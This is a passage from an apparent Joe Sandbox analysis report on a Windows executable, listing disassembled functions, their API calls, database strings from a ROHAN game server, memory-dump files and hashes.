                                                                                                                            • Associated: 00000000.00000002.1633663927.000000000066F000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633715505.0000000000671000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_0_2_400000_pPLwX9wSrD.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID:
                                                                                                                            • String ID:
                                                                                                                            • API String ID:
                                                                                                                            • Opcode ID: b82433fd01ebd2ba9ee40d62f6d16c4faec5fcbaaf10a81d7c081381efef329a
                                                                                                                            • Instruction ID: 05e5a3d1914845e52981bc63132b2f3f7f07a0bdd15e73a41dc28742802a5d4a
                                                                                                                            • Opcode Fuzzy Hash: b82433fd01ebd2ba9ee40d62f6d16c4faec5fcbaaf10a81d7c081381efef329a
                                                                                                                            • Instruction Fuzzy Hash: 0EB10DB0B02118AFEB24DB09CD51FEA7375EF85714F148288F6996E3C1D6B16D808B56
                                                                                                                            Function 00464250 Relevance: 30.0, APIs: 3, Strings: 14, Instructions: 246COMMON
                                                                                                                            Download Yara Rule
                                                                                                                            APIs
                                                                                                                            • EnterCriticalSection.KERNEL32(004E9C14), ref: 0046425E
                                                                                                                            • LeaveCriticalSection.KERNEL32(004E9C14), ref: 00464586
                                                                                                                            • InvalidateRect.USER32(?,00000000,00000001), ref: 00464597
                                                                                                                            Strings
                                                                                                                            • TASK ( %d ) , Count( %d ), xrefs: 00464551
                                                                                                                            • Running DB Request : %d, xrefs: 0046428F
                                                                                                                            • LoginDB : Connection ( %d ), Connect Fail ( %d ), Task ( %d ), Pipe ( %d ), xrefs: 004643C2
                                                                                                                            • GameDB : Connection ( %d ), Connect Fail ( %d ), Task ( %d ), Pipe ( %d ), xrefs: 0046437B
                                                                                                                            • Alloc : IOBuffer(%d/%d), xrefs: 004642CB
                                                                                                                            • ===========================, xrefs: 004643DE
                                                                                                                            • TASK ( %d ) , Count( %d ), xrefs: 0046448E
                                                                                                                            • ===========================, xrefs: 0046456D
                                                                                                                            • Pending DB Queue : %d, xrefs: 004642AA
                                                                                                                            • Running Thread : %d, xrefs: 00464274
                                                                                                                            • LoginDB Blocked Query : %d, xrefs: 00464321
                                                                                                                            • ===========================, xrefs: 00464335
                                                                                                                            • GameDB Blocked Query : %d, xrefs: 00464300
                                                                                                                            • ===========================, xrefs: 004642DF
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 00000000.00000002.1632538419.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            • Associated: 00000000.00000002.1632519007.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632686913.00000000004C1000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632762125.00000000004E3000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632861330.00000000004E4000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632915908.00000000004E5000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632938727.00000000004EF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632996994.0000000000501000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633016224.0000000000508000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633084425.0000000000531000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000538000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000552000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.000000000055E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000568000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000572000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.00000000005B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633326996.00000000005B1000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005B5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000607000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000611000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633569077.0000000000619000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633602270.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633663927.000000000066F000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633715505.0000000000671000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_0_2_400000_pPLwX9wSrD.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID: CriticalSection$EnterInvalidateLeaveRect
                                                                                                                            • String ID: ===========================$ ===========================$ ===========================$ ===========================$ Alloc : IOBuffer(%d/%d)$ GameDB : Connection ( %d ), Connect Fail ( %d ), Task ( %d ), Pipe ( %d )$ GameDB Blocked Query : %d$ LoginDB : Connection ( %d ), Connect Fail ( %d ), Task ( %d ), Pipe ( %d )$ LoginDB Blocked Query : %d$ Pending DB Queue : %d$ Running DB Request : %d$ Running Thread : %d$TASK ( %d ) , Count( %d )$TASK ( %d ) , Count( %d )
                                                                                                                            • API String ID: 4158910955-3128254065
                                                                                                                            • Opcode ID: bc64e089267ab02ba270f42b16b1722fde50ce0290cd3f3ed8c5a7212f917523
                                                                                                                            • Instruction ID: dc6136dfce2db962c381bdfd294578c71068bedf9f7092b4d41d9854f4e692fb
                                                                                                                            • Opcode Fuzzy Hash: bc64e089267ab02ba270f42b16b1722fde50ce0290cd3f3ed8c5a7212f917523
                                                                                                                            • Instruction Fuzzy Hash: 76A190B4E00248AFDB04DF99D882FADB7B1FB48704F24805EE409AB395E7346D41CB59
                                                                                                                            Function 0042C454 Relevance: 26.5, APIs: 14, Strings: 1, Instructions: 252COMMON
                                                                                                                            Download Yara Rule
                                                                                                                            APIs
                                                                                                                            • #19.ODBC32(?,{ ? = CALL [ROHAN_InsItem](?,?,?,?,?,?,?,?,?,?,?,?) } ,000000FD), ref: 0042C47D
                                                                                                                            • #72.ODBC32(?,00000000,00000004,000000F0,00000004,00000000,00000000,?,00000000,00000000), ref: 0042C4BF
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000F0,00000004,00000000,00000000,?,00000000,00000000,?,00000000,00000004,000000F0,00000004,00000000), ref: 0042C4F7
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000F0,00000004,00000000,00000000,?,00000000,00000000,?,00000000,00000001,000000F0,00000004,00000000), ref: 0042C52F
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000FE,000000FD,0000002A,00000000,?,00000000,?,?,00000000,00000001,000000F0,00000004,00000000), ref: 0042C56F
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000FA,000000FA,00000000,00000000,?,00000000,00000000,?,00000000,00000001,000000FE,000000FD,0000002A), ref: 0042C5A7
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000FA,000000FA,00000000,00000000,?,00000000,00000000,?,00000000,00000001,000000FA,000000FA,00000000), ref: 0042C5DF
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000FA,000000FA,00000000,00000000,?,00000000,00000000,?,00000000,00000001,000000FA,000000FA,00000000), ref: 0042C617
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000FA,000000FA,00000000,00000000,?,00000000,00000000,?,00000000,00000001,000000FA,000000FA,00000000), ref: 0042C64F
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000FA,000000FA,00000000,00000000,?,00000000,00000000,?,00000000,00000001,000000FA,000000FA,00000000), ref: 0042C687
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000F1,00000005,00000000,00000000,?,00000000,00000000,?,00000000,00000001,000000FA,000000FA,00000000), ref: 0042C6BF
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000F1,00000005,00000000,00000000,?,00000000,00000000,?,00000000,00000001,000000F1,00000005,00000000), ref: 0042C6F7
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000F1,00000005,00000000,00000000,?,00000000,00000000,?,00000000,00000001,000000F1,00000005,00000000), ref: 0042C72F
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000F0,00000004,00000000,00000000,?,00000000,00000000,?,00000000,00000001,000000F1,00000005,00000000), ref: 0042C764
                                                                                                                            Strings
                                                                                                                            • { ? = CALL [ROHAN_InsItem](?,?,?,?,?,?,?,?,?,?,?,?) } , xrefs: 0042C474
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 00000000.00000002.1632538419.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            • Associated: 00000000.00000002.1632519007.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632686913.00000000004C1000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632762125.00000000004E3000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632861330.00000000004E4000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632915908.00000000004E5000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632938727.00000000004EF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632996994.0000000000501000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633016224.0000000000508000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633084425.0000000000531000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000538000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000552000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.000000000055E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000568000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000572000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.00000000005B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633326996.00000000005B1000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005B5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000607000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000611000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633569077.0000000000619000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633602270.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633663927.000000000066F000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633715505.0000000000671000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_0_2_400000_pPLwX9wSrD.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID:
                                                                                                                            • String ID: { ? = CALL [ROHAN_InsItem](?,?,?,?,?,?,?,?,?,?,?,?) }
                                                                                                                            • API String ID: 0-1007469122
                                                                                                                            • Opcode ID: c3cb7c07e9c312d383eca4419aafddefdf811e019cd7c02e0e0e5d440cdb6337
                                                                                                                            • Instruction ID: f5f258510d52c160df41d17eac920dd5b64fdfc3efa7bbc56a66379ae2958dac
                                                                                                                            • Opcode Fuzzy Hash: c3cb7c07e9c312d383eca4419aafddefdf811e019cd7c02e0e0e5d440cdb6337
                                                                                                                            • Instruction Fuzzy Hash: 6491FCF0A442157BEB648B54CC52FAE7375EB84B18F20C688F7196F2C5DDB169808B2C
                                                                                                                            Function 0043D1F1 Relevance: 26.5, APIs: 14, Strings: 1, Instructions: 251COMMON
                                                                                                                            Download Yara Rule
                                                                                                                            APIs
                                                                                                                            • #19.ODBC32(?,{ ? = CALL [ROHAN_HonorRewardMoveToInven]( ?,?,?,?,?,?,?,?,?,?,?,?)},000000FD), ref: 0043D21A
                                                                                                                            • #72.ODBC32(?,00000000,00000004,000000F0,00000004,00000000,00000000,?,00000000,00000000), ref: 0043D259
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000F0,00000004,00000000,00000000,?,00000000,00000000,?,00000000,00000004,000000F0,00000004,00000000), ref: 0043D291
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000F0,00000004,00000000,00000000,?,00000000,00000000,?,00000000,00000001,000000F0,00000004,00000000), ref: 0043D2C9
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000FE,000000FD,0000002A,00000000,?,00000000,?,?,00000000,00000001,000000F0,00000004,00000000), ref: 0043D309
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000FA,000000FA,00000000,00000000,?,00000000,00000000,?,00000000,00000001,000000FE,000000FD,0000002A), ref: 0043D341
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000FA,000000FA,00000000,00000000,?,00000000,00000000,?,00000000,00000001,000000FA,000000FA,00000000), ref: 0043D379
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000FA,000000FA,00000000,00000000,?,00000000,00000000,?,00000000,00000001,000000FA,000000FA,00000000), ref: 0043D3B1
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000FA,000000FA,00000000,00000000,?,00000000,00000000,?,00000000,00000001,000000FA,000000FA,00000000), ref: 0043D3E9
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000FA,000000FA,00000000,00000000,?,00000000,00000000,?,00000000,00000001,000000FA,000000FA,00000000), ref: 0043D421
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000F1,00000005,00000000,00000000,?,00000000,00000000,?,00000000,00000001,000000FA,000000FA,00000000), ref: 0043D459
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000F1,00000005,00000000,00000000,?,00000000,00000000,?,00000000,00000001,000000F1,00000005,00000000), ref: 0043D491
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000F1,00000005,00000000,00000000,?,00000000,00000000,?,00000000,00000001,000000F1,00000005,00000000), ref: 0043D4C9
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000F0,00000004,00000000,00000000,?,00000000,00000000,?,00000000,00000001,000000F1,00000005,00000000), ref: 0043D4FE
                                                                                                                            Strings
                                                                                                                            • { ? = CALL [ROHAN_HonorRewardMoveToInven]( ?,?,?,?,?,?,?,?,?,?,?,?)}, xrefs: 0043D211
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 00000000.00000002.1632538419.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            • Associated: 00000000.00000002.1632519007.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632686913.00000000004C1000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632762125.00000000004E3000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632861330.00000000004E4000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632915908.00000000004E5000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632938727.00000000004EF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632996994.0000000000501000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633016224.0000000000508000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633084425.0000000000531000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000538000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000552000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.000000000055E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000568000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000572000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.00000000005B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633326996.00000000005B1000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005B5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000607000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000611000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633569077.0000000000619000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633602270.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633663927.000000000066F000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633715505.0000000000671000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_0_2_400000_pPLwX9wSrD.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID:
                                                                                                                            • String ID: { ? = CALL [ROHAN_HonorRewardMoveToInven]( ?,?,?,?,?,?,?,?,?,?,?,?)}
                                                                                                                            • API String ID: 0-3866585781
                                                                                                                            • Opcode ID: 7e1a55c29ac406cfac9717c5cefbbf1fff173e8b84547c2edf7fb22d0194210f
                                                                                                                            • Instruction ID: 2ac8f75eb688f5d28bbfd2f06e46265abdb06a9cb450d3d9202375a23d693a0b
                                                                                                                            • Opcode Fuzzy Hash: 7e1a55c29ac406cfac9717c5cefbbf1fff173e8b84547c2edf7fb22d0194210f
                                                                                                                            • Instruction Fuzzy Hash: 2F911FF06402557BEB248B44CC92FE97334FB84B58F208289F7597E2C9D6F969C08B18
                                                                                                                            Function 0049E8E9 Relevance: 26.4, APIs: 13, Strings: 2, Instructions: 174windowCOMMON
                                                                                                                            Download Yara Rule
                                                                                                                            APIs
                                                                                                                              • Part of subcall function 004A18F7: GetWindowLongA.USER32(?,000000F0), ref: 004A1902
                                                                                                                            • GetParent.USER32(?), ref: 0049E914
                                                                                                                            • SendMessageA.USER32(00000000,0000036B,00000000,00000000), ref: 0049E937
                                                                                                                            • GetWindowRect.USER32(?,?), ref: 0049E950
                                                                                                                            • GetWindowLongA.USER32(00000000,000000F0), ref: 0049E963
                                                                                                                            • CopyRect.USER32(?,?), ref: 0049E9B0
                                                                                                                            • CopyRect.USER32(?,?), ref: 0049E9BA
                                                                                                                            • GetWindowRect.USER32(00000000,?), ref: 0049E9C3
                                                                                                                            • CopyRect.USER32(?,?), ref: 0049E9DF
                                                                                                                            Strings
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 00000000.00000002.1632538419.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            • Associated: 00000000.00000002.1632519007.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632686913.00000000004C1000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632762125.00000000004E3000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632861330.00000000004E4000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632915908.00000000004E5000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632938727.00000000004EF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632996994.0000000000501000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633016224.0000000000508000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633084425.0000000000531000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000538000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000552000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.000000000055E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000568000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000572000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.00000000005B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633326996.00000000005B1000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005B5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000607000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000611000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633569077.0000000000619000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633602270.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633663927.000000000066F000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633715505.0000000000671000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_0_2_400000_pPLwX9wSrD.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID: Rect$Window$Copy$Long$MessageParentSend
                                                                                                                            • String ID: ($@
                                                                                                                            • API String ID: 808654186-1311469180
                                                                                                                            • Opcode ID: 32b4f0c64a7f8516c60322cc357a09464266c4706b15aae2fe75d5cea36ee3d9
                                                                                                                            • Instruction ID: d842a6db33646ba3237f871f8a8e744c237fa7c4ff686e9505ee01cf46974abd
                                                                                                                            • Opcode Fuzzy Hash: 32b4f0c64a7f8516c60322cc357a09464266c4706b15aae2fe75d5cea36ee3d9
                                                                                                                            • Instruction Fuzzy Hash: 89518372900219AFDF50DBB9CC89EEEBBB9AF44314F15412AF505F3291DB34E9058B68
                                                                                                                            Function 0044B523 Relevance: 25.7, APIs: 17, Instructions: 247COMMON
                                                                                                                            Download Yara Rule
                                                                                                                            APIs
                                                                                                                            • #4.ODBC32(?,00000000,000000F0,?,00000000,00000000), ref: 0044B564
                                                                                                                            • #4.ODBC32(?,00000000,000000F0,?,00000000,00000000,?,00000000,000000F0,?,00000000,00000000), ref: 0044B594
                                                                                                                            • #4.ODBC32(?,00000000,000000F0,?,00000000,00000000,?,00000000,000000F0,?,00000000,00000000,?,00000000,000000F0,?), ref: 0044B5C4
                                                                                                                            • #4.ODBC32(?,00000000,00000001,?,00000015,00000000,?,00000000,000000F0,?,00000000,00000000,?,00000000,000000F0,?), ref: 0044B5F4
                                                                                                                            • #4.ODBC32(?,00000000,000000F0,?,00000000,00000000,?,00000000,00000001,?,00000015,00000000,?,00000000,000000F0,?), ref: 0044B624
                                                                                                                            • #4.ODBC32(?,00000000,000000F0,?,00000000,00000000,?,00000000,000000F0,?,00000000,00000000,?,00000000,00000001,?), ref: 0044B654
                                                                                                                            • #4.ODBC32(?,00000000,00000001,?,00000015,00000000,?,00000000,000000F0,?,00000000,00000000,?,00000000,000000F0,?), ref: 0044B684
                                                                                                                            • #4.ODBC32(?,00000000,000000F0,?,00000000,00000000,?,00000000,00000001,?,00000015,00000000,?,00000000,000000F0,?), ref: 0044B6B4
                                                                                                                            • #4.ODBC32(?,00000000,000000F0,?,00000000,00000000,?,00000000,000000F0,?,00000000,00000000,?,00000000,00000001,?), ref: 0044B6E4
                                                                                                                            • #4.ODBC32(?,00000000,00000001,?,00000015,00000000,?,00000000,000000F0,?,00000000,00000000,?,00000000,000000F0,?), ref: 0044B714
                                                                                                                            • #4.ODBC32(?,00000000,000000F0,?,00000000,00000000,?,00000000,00000001,?,00000015,00000000,?,00000000,000000F0,?), ref: 0044B744
                                                                                                                            • #4.ODBC32(?,00000000,00000001,?,00000012,00000000,?,00000000,000000F0,?,00000000,00000000,?,00000000,00000001,?), ref: 0044B774
                                                                                                                            • #4.ODBC32(?,00000000,000000E7,?,00000000,00000000,?,00000000,00000001,?,00000012,00000000,?,00000000,000000F0,?), ref: 0044B7A4
                                                                                                                            • #4.ODBC32(?,00000000,000000FA,?,00000000,00000000,?,00000000,000000E7,?,00000000,00000000,?,00000000,00000001,?), ref: 0044B7D6
                                                                                                                            • #4.ODBC32(?,00000000,000000FA,?,00000000,00000000,?,00000000,000000FA,?,00000000,00000000,?,00000000,000000E7,?), ref: 0044B809
                                                                                                                            • #4.ODBC32(?,00000000,0000005D,?,00000000,00000000,?,00000000,000000FA,?,00000000,00000000,?,00000000,000000FA,?), ref: 0044B83C
                                                                                                                            • #4.ODBC32(?,00000000,000000FA,?,00000000,00000000,?,00000000,0000005D,?,00000000,00000000,?,00000000,000000FA,?), ref: 0044B86E
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 00000000.00000002.1632538419.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            • Associated: 00000000.00000002.1632519007.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632686913.00000000004C1000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632762125.00000000004E3000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632861330.00000000004E4000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632915908.00000000004E5000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632938727.00000000004EF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632996994.0000000000501000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633016224.0000000000508000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633084425.0000000000531000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000538000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000552000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.000000000055E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000568000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000572000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.00000000005B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633326996.00000000005B1000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005B5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005F0000.00000002.00000001.01000000.00000003.sdmpDownload File
